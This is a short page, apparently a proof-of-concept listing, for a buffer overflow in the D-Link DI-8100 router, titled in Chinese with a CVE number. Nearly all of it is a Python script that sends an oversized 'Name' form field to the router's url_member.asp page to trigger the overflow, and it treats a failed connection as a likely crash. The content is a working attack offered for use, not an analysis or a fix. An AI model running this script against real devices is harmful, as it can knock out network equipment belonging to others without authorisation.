CVE-2026-7856 D-Link DI-8100 缓冲区溢出漏洞

import requests # Target URL configuration target_ip = "192.168.0.1" target_url = f"http://{target_ip}/url_member.asp" # Exploit payload creation # Adjust the length of 'A' to match the buffer size required for overflow overflow_payload = b"A" * 500 # Prepare data payload data = { "Name": overflow_payload.decode('latin-1'), # Add other necessary form fields if required by the application logic } # Send the malicious request try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=data, timeout=5) print(f"Response Status Code: {response.status_code}") # Verify exploit success (e.g., check if service is down or response is abnormal) if response.status_code == 200 or response.status_code == 500: print("Potential trigger of vulnerability.") except requests.exceptions.RequestException as e: print(f"Connection error (possible crash): {e}")